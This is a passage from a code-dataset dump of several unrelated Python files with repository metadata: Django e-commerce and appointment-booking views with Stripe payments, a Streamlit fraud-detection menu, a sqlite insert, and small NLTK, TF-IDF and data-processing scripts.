placeOrder/CardError', err.get('message'))\n            message = err.get('message')\n            return JsonResponse({'status': 'false', 'message': message}, safe=False)\n        except stripe.error.RateLimitError as e:\n            # Too many requests made to the API too quickly\n            messages.error(request, \"RateLimitError\")\n            print('Error in placeOrder/ RateLimitError:', str(e))\n            message = str(e)\n            return JsonResponse({'status': 'false', 'message': message}, safe=False)\n        except stripe.error.InvalidRequestError as e:\n            # Invalid parameters were supplied to Stripe's API\n            messages.error(request, \"InvalidRequestError\")\n            print('Error in placeOrder/InvalidRequestError:', str(e))\n            message = str(e)\n            return JsonResponse({\"status\": 'false', \"message\": message}, safe=False)\n            print('after json')\n        except stripe.error.AuthenticationError as e:\n            # Authentication with Stripe's API failed\n            # (maybe you changed API keys recently)\n            messages.error(request, \"AuthenticationError\")\n            print('Error in placeOrder/AuthenticationError:', str(e))\n            message = str(e)\n            return JsonResponse({'status': 'false', 'message': message}, safe=False)\n        except stripe.error.APIConnectionError as e:\n            # Network communication with Stripe failed\n            messages.error(request, \"APIConnectionError\")\n            print('Error in placeOrder/APIConnectionError:', str(e))\n            message = str(e)\n            return JsonResponse({'status': 'false', 'message': message}, safe=False)\n        except stripe.error.StripeError as e:\n            # Display a very generic error to the user, and maybe send\n            # yourself an email\n            messages.error(\"StripeError\")\n            print('Error in placeOrder/StripeError:', str(e))\n            message = str(e)\n            return JsonResponse({'status': 'false', 'message': message}, safe=False)\n        except Exception as e:\n            print('Error in placeOrder function:', str(e))\n            # messages.error(request, \"There is some issue while processing order\")\n\n        print('Change the quantity')\n        # Deduct the quantity of the product after purchasing. It will be managed by Admin/Super admin\n        # Also, admin can see whether there is sufficient amount of products in stock or not.\n        for item in items:\n            if item.Product.IsProduct:\n                qty = item.Product.StockLevel - item.Quantity\n                product = Product.objects.get(Product_Id=item.Product.Product_Id)\n                product.StockLevel = qty\n                product.save()\n\n        # Update details in OrderDiscount Table\n        # To keep the record of discount for every order.\n\n        if int(float(serviceDiscount)) > 0:\n            order_discount, created = OrderDiscount.objects.get_or_create(Order=order)\n            order_discount.DiscountType_Id = serviceDiscountId\n            order_discount.save()\n\n            customerDiscountApplicableLimit = serviceInstalmentMonth\n            # Based on the count update the customerDiscountApplicableLimit value.\n            # store details in CustomerDiscount Table\n            # So, once a customer has applied the discount code, it will not be applicable for next purchase.\n\n            customer_discount, created = \\\n                CustomerDiscountEligibility.objects.get_or_create(Customer=customer,\n                                                                  Customer_id=customer.Customer_Id,\n                                                                  DiscountType_Id=serviceDiscountId)\n            customer_discount.DiscountType_Id = serviceDiscountId\n            customer_discount.DiscountApplicableLimit = customerDiscountApplicableLimit\n            customer_discount.IsUsed = 1\n            customer_discount.save()\n            print('Customer discount saved')\n\n        order.IsOrderCompleted = True\n        # Set current date for order completion date\n        order.OrderStatus_id = 1\n        order.save()\n\n        subject = 'Invoice for your order.'\n        fromEmail = settings.EMAIL_HOST_USER\n        to_list = [data['User']['email']]\n        try:\n            html_content = render_to_string(\"emailInvoice/InvoiceContent.html\", {'username': data['User']['name']})\n            text_content = strip_tags(html_content)\n            emailsend = EmailMultiAlternatives(\n                subject,\n                text_content,\n                fromEmail,\n                to_list\n            )\n            data = {\n                'items': items,\n                'order': order,\n                'username': data['User']['name'],\n                'address': address,\n                'email': data['User']['email']\n            }\n            emailsend.attach_alternative(html_content, \"text/html\")\n            pdf = render_to_pdf('pdf/invoice.html', data)\n            emailsend.attach('invoice.pdf', pdf, 'file/pdf')\n            emailsend.send()\n            print('email sent')\n        except Exception as e:\n            print('in catch for email send')\n            print('Error Is:', str(e))\n            messages.error(request, \"There is some issue while generating pdf\")\n        payment.Is_Invoice_Sent = True\n        payment.Stripe_Payment_Id = charge.stripe_id\n        payment.save()\n        print('Invoice sent')\n    except Exception as e:\n        print('Error Is:', str(e))\n        # messages.error(request, \"There is some issue while processing order\")\n    finally:\n        connection.close()\n    print('completed')\n    message = 'Payment Completed...!'\n    return JsonResponse({'status': 'true', 'message': message}, safe=False)\n\n\n# After the customer has successfully paid the amount, it will redirect the customer on the Thank you page.\n# TODO: modify the html content.\nclass ThankYouView(ListView):\n    model = Product\n    template_name = 'webecommerce/thankyou.html'\n\n\ndef makeAppointment(request):\n    cursor = connection.cursor()\n    cursor.execute(\"call GetPractitionerList()\")\n    results = cursor.fetchall()\n    userId=request.user.id\n    cursor.callproc('getCustomer',[userId])\n    results1 = cursor.fetchall()\n    context = {\"practitioner_list\": results}\n    if request.method=='POST':\n        practitioner=request.POST.get(\"id1\",None)\n        context.update({\"practitioner\": practitioner})\n        cursor.callproc('clientviewAvailableSlots',[practitioner])\n        resultslot = cursor.fetchall()\n        resultslot1=list(resultslot)\n        res = [list(ele) for ele in resultslot1]\n        for iterator in range(len(res)):\n            res[iterator][4]=res[iterator][4].isoformat()\n            res[iterator][5]=res[iterator][5].isoformat()\n        context.update({'viewAvailableSlots1': res})\n        cursor.callproc('clientviewDates',[practitioner])\n        results3 = cursor.fetchall()\n        context.update({'viewDates': results3})\n        cursor.callproc('clientViewCalendarAppointment',[results1,practitioner])\n        results4=cursor.fetchall()\n        print(results4)\n        resultslot4=list(results4)\n        res4 = [list(ele) for ele in resultslot4]\n        for iterator in range(len(res4)):\n            res4[iterator][6]=res4[iterator][6].isoformat()\n            res4[iterator][7]=res4[iterator][7].isoformat()\n        context.update({'viewBookedSlots': res4})\n        return JsonResponse(context)\n    return render(request,'AppointmentBooking/appointmentForm.html',context)\n\ndef BookAppointment(request):\n    cursor = connection.cursor()\n    if request.method=='POST':\n        practitionerid=request.POST.get('practitionerid')\n        UserId=request.user.id\n        cursor.callproc('getCustomer',[UserId])\n        customerid = cursor.fetchall()\n        cursor.callproc('GetCustomerDetailsById',[customerid])\n        clientdetails=cursor.fetchall()\n        clientemail=clientdetails[0][3]\n        clientname=clientdetails[0][1]+''+clientdetails[0][2]\n        start=request.POST.get('start')\n        end=request.POST.get('end')\n        startTime=dateutil.parser.isoparse(start)\n        endTime=dateutil.parser.isoparse(end)\n        thirty_min_timestamps = []\n        date_x = startTime\n        while date_x < endTime:\n            thirty_min_timestamps.append(datetime.time(date_x))\n            date_x += timedelta(minutes=30)\n        slotid=[]\n        for timestart in thirty_min_timestamps:\n            cursor.callproc('getSlotId',[timestart])\n            slotid.append(cursor.fetchall())\n        cursor.callproc('bookappointment',[customerid,practitionerid,datetime.date(startTime),datetime.time(startTime),datetime.time(endTime)])\n        appointmentid=cursor.fetchall()\n        request.session['apptid']=appointmentid\n        for idkey in slotid:\n            cursor.callproc('updateCalendarSlot',[datetime.date(startTime),idkey[0][0],practitionerid,appointmentid])\n        cal = Calendar()\n        cal.add('prodid', '-//My calendar product//mxm.dk//')\n        cal.add('version', '2.0')\n        eventstart=datetime.fromisoformat(start.replace('Z', ''))\n        eventend=datetime.fromisoformat(end.replace('Z', ''))\n        event = Event()\n        event.add('summary', 'Appointment Confirmed')\n        event.add('dtstart',eventstart)\n        event.add('dtend',eventend)\n        organizer = vCalAddress('MAILTO:%s' % settings.EMAIL_HOST_USER)\n        organizer.params['cn'] = vText('Prolongevity')\n        organizer.params['role'] = vText('Practitioner')\n        event['organizer'] = organizer\n        event['location'] = vText('St Albans')\n        attendee = vCalAddress('MAILTO:%s' % clientemail)\n        attendee.params['cn'] = vText('%s' % clientname)\n        attendee.params['ROLE'] = vText('PARTICIPANT')\n        event.add('attendee', attendee, encode=0)\n        cal.add_component(event)\n        subject = 'Your Appointment Confirmation'\n        fromEmail = settings.EMAIL_HOST_USER\n        to_list = [clientemail]\n        try:\n            text_content = 'Thank you for booking an appointment.'\n\n            emailsend = EmailMultiAlternatives(\n                subject,\n                text_content,\n                fromEmail,\n                to_list\n            )\n            emailsend.attach_alternative(text_content, \"text/html\")\n            emailsend.attach('calcheck.ics', cal.to_ical())\n            emailsend.send()\n        except Exception as e:\n            print('Error in sending email while registration'+str(e))\n        return redirect(ViewAppointment)\n\ndef ViewAppointment(request):\n    cursor = connection.cursor()\n    UserId=request.user.id\n    cursor.callproc('getCustomer',[UserId])\n    customerid = cursor.fetchall()\n    cursor.callproc('viewAppointment',[customerid])\n    result=cursor.fetchall()\n    context={\"Appointment_Details\":result}\n    return render(request,'AppointmentBooking/AppointmentList.html',context)\n\ndef DeleteAppointment(request,id):\n    cursor=connection.cursor()\n    if request.method=='POST':\n        cursor.callproc('DeleteAppointment',[id])\n        return redirect('/ViewAppointment')\n\ndef DeleteAppointment1(request):\n    cursor=connection.cursor()\n    if request.method=='POST':\n        id=request.POST.get('id',None)\n        cursor.callproc('DeleteAppointment',[id])\n        data = {}\n        return JsonResponse({'success':True})", "repo_name": "AnujPalimkar/Web_Application-master", "sub_path": "WebEcommerce/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 27160, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "stripe.api_key", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.conf.settings.STRIPE_SECRET_KEY", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 26, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 31, "usage_type": "call"}, {"api_name": "django.views.generic.ListView", "line_number": 37, "usage_type": "name"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 58, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 68, "usage_type": "call"}, {"api_name": "django.views.generic.ListView", "line_number": 71, "usage_type": "name"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 88, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 114, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 115, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 143, "usage_type": "call"}, {"api_name": "django.conf.settings.STRIPE_PUBLISHABLE_KEY", "line_number": 151, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 151, "usage_type": "name"}, {"api_name": "ManorPharmacy.forms.CheckoutForm", "line_number": 153, "usage_type": "call"}, {"api_name": "datetime.datetime.datetime.now", "line_number": 160, "usage_type": "call"}, {"api_name": "datetime.datetime.datetime", "line_number": 160, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 160, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 222, "usage_type": "call"}, {"api_name": "datetime.datetime.datetime.now", "line_number": 230, "usage_type": "call"}, {"api_name": "datetime.datetime.datetime", "line_number": 230, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 230, "usage_type": "name"}, {"api_name": "datetime.datetime.timedelta", "line_number": 286, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 286, "usage_type": "name"}, {"api_name": "datetime.datetime.date.today", "line_number": 287, "usage_type": "call"}, {"api_name": "datetime.datetime.date", "line_number": 287, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 287, "usage_type": "name"}, {"api_name": "datetime.datetime.timedelta", "line_number": 311, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 311, "usage_type": "name"}, {"api_name": "datetime.datetime.date.today", "line_number": 312, "usage_type": "call"}, {"api_name": "datetime.datetime.date", "line_number": 312, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 312, "usage_type": "name"}, {"api_name": "stripe.Charge.create", "line_number": 335, "usage_type": "call"}, {"api_name": "stripe.Charge", "line_number": 335, "usage_type": "attribute"}, {"api_name": "stripe.error", "line_number": 343, "usage_type": "attribute"}, {"api_name": "django.contrib.messages.error", "line_number": 351, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 351, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 354, "usage_type": "call"}, {"api_name": "stripe.error", "line_number": 355, "usage_type": "attribute"}, {"api_name": "django.contrib.messages.error", "line_number": 357, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 357, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 360, "usage_type": "call"}, {"api_name": "stripe.error", "line_number": 361, "usage_type": "attribute"}, {"api_name": "django.contrib.messages.error", "line_number": 363, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 363, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 366, "usage_type": "call"}, {"api_name": "stripe.error", "line_number": 368, "usage_type": "attribute"}, {"api_name": "django.contrib.messages.error", "line_number": 371, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 371, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 374, "usage_type": "call"}, {"api_name": "stripe.error", "line_number": 375, "usage_type": "attribute"}, {"api_name": "django.contrib.messages.error", "line_number": 377, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 377, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 380, "usage_type": "call"}, {"api_name": "stripe.error", "line_number": 381, "usage_type": "attribute"}, {"api_name": "django.contrib.messages.error", "line_number": 384, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 384, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 387, "usage_type": "call"}, {"api_name": "django.conf.settings.EMAIL_HOST_USER", "line_number": 431, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 431, "usage_type": "name"}, {"api_name": "django.template.loader.render_to_string", "line_number": 434, "usage_type": "call"}, {"api_name": "django.core.mail.EmailMultiAlternatives", "line_number": 436, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 457, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 457, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 469, "usage_type": "call"}, {"api_name": "django.views.generic.ListView", "line_number": 474, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 510, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 511, "usage_type": "call"}, {"api_name": "dateutil.parser.isoparse", "line_number": 526, "usage_type": "call"}, {"api_name": "dateutil.parser", "line_number": 526, "usage_type": "attribute"}, {"api_name": "dateutil.parser.isoparse", "line_number": 527, "usage_type": "call"}, {"api_name": "dateutil.parser", "line_number": 527, "usage_type": "attribute"}, {"api_name": "datetime.datetime.time", "line_number": 531, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 531, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 532, "usage_type": "call"}, {"api_name": "datetime.datetime.date", "line_number": 537, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 537, "usage_type": "name"}, {"api_name": "datetime.datetime.time", "line_number": 537, "usage_type": "call"}, {"api_name": "datetime.datetime.date", "line_number": 541, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 541, "usage_type": "name"}, {"api_name": "icalendar.Calendar", "line_number": 542, "usage_type": "call"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 545, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 545, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 546, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 546, "usage_type": "name"}, {"api_name": "icalendar.Event", "line_number": 547, "usage_type": "call"}, {"api_name": "icalendar.vCalAddress", "line_number": 551, "usage_type": "call"}, {"api_name": "django.conf.settings.EMAIL_HOST_USER", "line_number": 551, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 551, "usage_type": "name"}, {"api_name": "icalendar.vText", "line_number": 552, "usage_type": "call"}, {"api_name": "icalendar.vText", "line_number": 553, "usage_type": "call"}, {"api_name": "icalendar.vText", "line_number": 555, "usage_type": "call"}, {"api_name": "icalendar.vCalAddress", "line_number": 556, "usage_type": "call"}, {"api_name": "icalendar.vText", "line_number": 557, "usage_type": "call"}, {"api_name": "icalendar.vText", "line_number": 558, "usage_type": "call"}, {"api_name": "django.conf.settings.EMAIL_HOST_USER", "line_number": 562, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 562, "usage_type": "name"}, {"api_name": "django.core.mail.EmailMultiAlternatives", "line_number": 567, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 578, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 588, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 594, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 602, "usage_type": "call"}]}
{"seq_id": "5506515481", "text": "import streamlit as st\nimport classification_model\nimport regression_model\nimport anomaly_detection_model\n\ndef main():\n    # Initialize the Streamlit app\n    st.title(\"Credit Card Fraud Detection\")\n\n    # Create a sidebar menu for model selection\n    selected_model = st.sidebar.radio(\"Select a Model\", [\"Anomaly Detection\", \"Classification\", \"Regression\"])\n\n    if selected_model == \"Anomaly Detection\":\n        anomaly_detection_model.run()\n\n    elif selected_model == \"Classification\":\n        classification_model.run()\n\n    elif selected_model == \"Regression\":\n        regression_model.run()\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "fazilraja/credit-card-fraud-detection", "sub_path": "GUI.py", "file_name": "GUI.py", "file_ext": "py", "file_size_in_byte": 637, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "streamlit.title", "line_number": 8, "usage_type": "call"}, {"api_name": "streamlit.sidebar.radio", "line_number": 11, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 11, "usage_type": "attribute"}, {"api_name": "anomaly_detection_model.run", "line_number": 14, "usage_type": "call"}, {"api_name": "classification_model.run", "line_number": 17, "usage_type": "call"}, {"api_name": "regression_model.run", "line_number": 20, "usage_type": "call"}]}
{"seq_id": "8332683369", "text": "import sqlite3\r\n\r\nconnection = sqlite3.connect(\"my_friends.db\")\r\n\r\nc = connection.cursor()\r\n\r\npeople = [\r\n    (\"Ronald\", \"Amudsen\", 5),\r\n    (\"Rosa\", \"Parks\", 8),\r\n    (\"Henry\", \"Hudson\", 7),\r\n    (\"Neil\", \"Armstrong\", 7),\r\n    (\"Daniel\", \"Boone\", 3)\r\n]\r\n\r\nc.executemany(\"INSERT INTO friends VALUES (?, ?, ?)\", people)\r\n\r\n# Another approach\r\n# for person in people:\r\n#     c.execute(\"INSERT INTO friends VALUES (?, ?, ?)\", person)\r\n#     print(\"Inserting now\")\r\n\r\n\r\nconnection.commit()\r\nconnection.close()\r\n\r\nprint(\"\\nAdded bulk of friends to database.\")", "repo_name": "mikaelbeat/Modern_Python3_Bootcamp", "sub_path": "Modern_Python3_Bootcamp/Python_and_SQL/Bulk_insert.py", "file_name": "Bulk_insert.py", "file_ext": "py", "file_size_in_byte": 554, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlite3.connect", "line_number": 3, "usage_type": "call"}]}
{"seq_id": "30085968239", "text": "# Complete the function below.\nfrom collections import Counter\nfrom string import ascii_lowercase\n\ndef  isPangram(strings):\n    out=[]\n    for string in strings:\n        keys=Counter(string).keys()\n        keys.sort()\n        if keys[0]==' ':\n            del keys[0]\n        out.append(str(int(''.join(keys)==ascii_lowercase)))\n    return ''.join(out)\n        ", "repo_name": "tnkteja/notthisagain", "sub_path": "isPanagram/ispanagram.py", "file_name": "ispanagram.py", "file_ext": "py", "file_size_in_byte": 360, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.Counter", "line_number": 8, "usage_type": "call"}, {"api_name": "string.ascii_lowercase", "line_number": 12, "usage_type": "name"}]}
{"seq_id": "41577661692", "text": "# بسم الله الرحمن الرحيم\n# صل علي النبي \n\n# Importing the main libraries\nfrom nltk import sent_tokenize,word_tokenize,PorterStemmer,SnowballStemmer\n\n# A function to tokenize as words\ndef wordTokenization(word):\n    return word_tokenize(word)\n\n# A function to tokenize as sentences\ndef sentencesTokenization(sentence):\n    return sent_tokenize(sentence)\n\n# A function to print the original texts\ndef printOriginal(text):\n    return text\n\n# A function to apply stemming function\ndef stemWords(sentence):\n    # Taking an object from stemming classes\n    ps = PorterStemmer()\n    sb = SnowballStemmer(\"english\")\n\n    words = word_tokenize(sentence)\n    print(\"\\n1- Porter Stemmer\\n2- snowball stemmer \\n\")\n    choice = int(input(\"Enter your choice : \"))\n    if choice == 1 : \n        stemmedWords = [ps.stem(word) for word in words]\n        return stemmedWords\n    elif choice == 2 :\n        stemmedWords = [sb.stem(word) for word in words]\n        return stemmedWords\n\n\n# The main function of the program\ndef mainFunction():\n\n    # An infinity loop to keep the program running after results\n    while True:\n\n        print(\"\\n1- Print Tokenized words.\\n2- print Tokenized sentences.\\n3- print the original text.\\n4- Stemming.\\n5- Exit\\n\")\n        # The choices of the tokenization and calling functions depending on user's choice\n        choice = int(input(\"Enter your choice : \"))\n        if choice == 1:\n            sentence = input(\"\\nEnter the sentence that you want to tokenize it as words : \")\n            print(f\"\\nThe result is : {wordTokenization(sentence)}\\n---------------------------------------\")\n        elif choice == 2:\n            sentence = input(\"\\nEnter the sentence that you want to tokenize as sentences : \")\n            print(f\"\\nThe result is : {sentencesTokenization(sentence)}\\n---------------------------------------\")\n        elif choice == 3:\n            sentence = input(\"\\nEnter the sentence that you want to print it : \")\n            print(f\"\\nThe result is : {printOriginal(sentence)}\\n---------------------------------------\")\n        elif choice == 4:\n            sentence = input(\"\\nEnter the sentence that you want to stem it : \")\n            print(f\"\\nThe result is : {stemWords(sentence)}\\n---------------------------------------\")\n        elif choice == 5:\n            break\n        else:\n            print(\"\\nPlease enter a valid number \\n---------------------------------------\")\n        \n# Calling the main function of the program\nmainFunction()", "repo_name": "A7madhatem/stemming", "sub_path": "stemming.py", "file_name": "stemming.py", "file_ext": "py", "file_size_in_byte": 2513, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "nltk.word_tokenize", "line_number": 9, "usage_type": "call"}, {"api_name": "nltk.sent_tokenize", "line_number": 13, "usage_type": "call"}, {"api_name": "nltk.PorterStemmer", "line_number": 22, "usage_type": "call"}, {"api_name": "nltk.SnowballStemmer", "line_number": 23, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "71219256585", "text": "# 处理数据\nimport numpy as np\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nsource = open(\"source.txt\", \"r\").read().split(\"\\n\")\ntarget = open(\"target.txt\",\"r\").read().split(\"\\n\")\nprint(len(source)) # 44000\ntrain_list = source[:40000]\ntest_list = source[40000:]\nc0 = CountVectorizer()\ncall = c0.fit_transform([i for i in train_list+test_list])\nc1 = CountVectorizer(vocabulary=c0.vocabulary_)\ntrain = c1.fit_transform([i for i in train_list])\nprint(\"train shape\", repr(train.shape))\nc2 = CountVectorizer(vocabulary=c0.vocabulary_)\ntest = c2.fit_transform([i for i in test_list])\nprint(\"test shape\", repr(test.shape))\nprint(\"start process data...\")\ntfidftransformer = TfidfTransformer()\nx_train = tfidftransformer.fit_transform(train).toarray()\nx_test = tfidftransformer.fit_transform(test).toarray()\nprint(\"process data over\")\ny_train = np.array([int(i) for i in target[:40000]])\ny_test = np.array([int(i) for i in target[40000:]])\nprint(\"saving data\")\nnp.save('x_train.npy', x_train)\nnp.save('x_test.npy', x_test)\nnp.save('y_train.npy', y_train)\nnp.save('y_test.npy', y_test)", "repo_name": "yao-jz/Reviews-Rating-Prediction", "sub_path": "data_process.py", "file_name": "data_process.py", "file_ext": "py", "file_size_in_byte": 1110, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 9, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 11, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 14, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfTransformer", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "71081286984", "text": "import csv\nfrom nltk.tokenize import word_tokenize\nimport nltk\n\n'''\nMethod: get_categories_bow\nParameters: None\nPurpose: creates bag of word of all the categories of restaurants that are in the dataset\nReturns: bow_categories\n'''\ndef get_categories_bow():\n\tbow_categories = [] #list that stores the bag of words of all the categories of restaurants\n\twith open(\"restaurant_categories.csv\", encoding=\"utf8\") as f: #opens restaurant_categories.csv\n\t\tfile_row = csv.reader(f, delimiter=\",\") #uses the reader method from csv file to read each row of csv file\n\t\tfor row in file_row:\n\t\t\t'''\n\t\t\trow[1] contains the list of restaurant categories. Uses the split function to split the categories into a list.\n\t\t\tThe list of categories are passed to the clean_words method. Details listed below.\n\t\t\tclean_words method returns a list and stored to categories variable\n\t\t\t'''\n\t\t\tcategories = clean_words(row[1].lower().split(\",\")) \n\n\t\t\t#loops through categories list and appends it to the bow_categories list\n\t\t\tfor category in categories:\n\t\t\t\tbow_categories.append(category)\n\n\treturn bow_categories\n\n'''\nMethod: clean_words\nParameters: list_words (list)\nPurpose: this method ensures are certains unuseful categories are excluded from the bag of words.\nThe list of words are listed in the method. This method also removes spaces from the items in list_words list \nthat is passed on as parameter.\nReturns: list_words (list)\n'''\ndef clean_words(list_words):\n\t#These are list of unuseful categories that will be excluded from the BOW\n\texclusion_list = ['restaurants', \n\t\t\t\t\t  'food', 'cafes', \n\t\t\t\t\t  'event planning & services',\n\t\t\t\t\t  'venues & event spaces',\n\t\t\t\t\t  'hotels & travel',\n\t\t\t\t\t  'beauty & spas', \n\t\t\t\t\t  'american (traditional)',\n\t\t\t\t\t  'american (new)'\n\t\t\t\t\t]\n\tcount = 0\n\tfor word in list_words: #removes the spaces from the list_words\n\t\tlist_words[count] = str(word.rstrip().lstrip())\n\t\tword = str(word.rstrip().lstrip())\n\t\tcount+=1\n\n\t#if the list_words contains the items that are listed in the exclusion_list then those items are exluded. \n\tfor exclusion in exclusion_list: \n\t\ttry:\n\t\t\tlist_words.remove(exclusion)\n\t\texcept ValueError:\n\t\t\tprint(f\"{exclusion} not found\")\n\t\n\n\treturn list_words\n\n'''\nMethod: get_most_common\nParameters: bow_categories (list)\nPurpose: calculates frequency distribution of the categories in BOW by using nltk module\nReturns: frequent_dist (list)\n'''\ndef get_most_common(bow_categories):\n\n\tfrequent_dist = nltk.FreqDist(bow_categories) #uses the FreqDist method from nltk to get the frequency dist\n\treturn frequent_dist\n\n'''\nMethod: export_most_common\nParameters: most_common_categories_freq_dist (list)\nPurpose: exports the data from most_common_categories_freq_dist into a csv file\nReturns: None\n'''\ndef export_most_common(most_common_categories_freq_dist):\n\n\twith open('most_common_categories.csv', 'w', newline='', encoding='utf-8') as f:\n\t\twriter = csv.writer(f)\n\t\tfor most_common in most_common_categories_freq_dist.most_common():\n\t\t\twriter.writerow([most_common[0],most_common[1]])\n\n'''\nThese are the list of most frequently occuring international restaurant categories that appear in the dataset.\nThey were pulled manually from the most_common_categories.csv file and placed in top_categories.txt\n\nTop Restaurants:\nmexican\nitalian\nchinese\njapanese\nmediterranean\nindian\nthai\nmiddle eastern\nvietnamese\ngreek\nfrench\nkorean\n'''\n\n'''\nMethod: main()\n'''\ndef main():\n\tbow_categories = get_categories_bow() #calls get_categories_bow method\n\tmost_common_categories_freq_dist = get_most_common(bow_categories) #calls get_most_common\n\texport_most_common(most_common_categories_freq_dist) #calls export_most_common\n\nmain()", "repo_name": "anughshrestha/AIT722_FINAL_PROJECT", "sub_path": "Data Processing/most_common_categories.py", "file_name": "most_common_categories.py", "file_ext": "py", "file_size_in_byte": 3649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "csv.reader", "line_number": 14, "usage_type": "call"}, {"api_name": "nltk.FreqDist", "line_number": 72, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 84, "usage_type": "call"}]}
{"seq_id": "17895167911", "text": "\"\"\"\nparse.py\n\nCore parsing logic -- takes a path to a raw demonstration directory (comprised of `trajectory.h5` and the SVO\nrecordings), parses out the relevant structured information following the schema in `r2d2.postprocessing.schema`,\nreturning a JSON-serializable data record.\n\"\"\"\nfrom datetime import datetime\nfrom pathlib import Path\nfrom typing import Dict, Optional, Tuple\n\nimport h5py\n\nfrom r2d2.postprocessing.schema import TRAJECTORY_SCHEMA\n\n\ndef parse_datetime(date_str: str, mode=\"day\") -> datetime:\n    if mode == \"day\":\n        return datetime.strptime(date_str, \"%Y-%m-%d\")\n    else:\n        raise ValueError(f\"Function `parse_datetime` mode `{mode}` not supported!\")\n\n\ndef parse_user(\n    trajectory_dir: Path, aliases: Dict[str, Tuple[str, str]], members: Dict[str, Dict[str, str]]\n) -> Tuple[Optional[str], Optional[str]]:\n    try:\n        with h5py.File(trajectory_dir / \"trajectory.h5\", \"r\") as h5:\n            user_alias = h5.attrs[\"user\"].title()\n            lab, user = aliases.get(user_alias, (None, None))\n\n        assert user_alias in aliases, f\"User alias `{user_alias}` not in REGISTERED_LAB_MEMBERS or REGISTERED_ALIASES!\"\n        assert lab in members, f\"Lab `{lab}` not in REGISTERED_LAB_MEMBERS!\"\n        assert user in members[lab], f\"Canonical user `{user}` not in REGISTERED_LAB_MEMBERS['{lab}']\"\n\n        return user, members[lab][user]\n\n    except AssertionError as 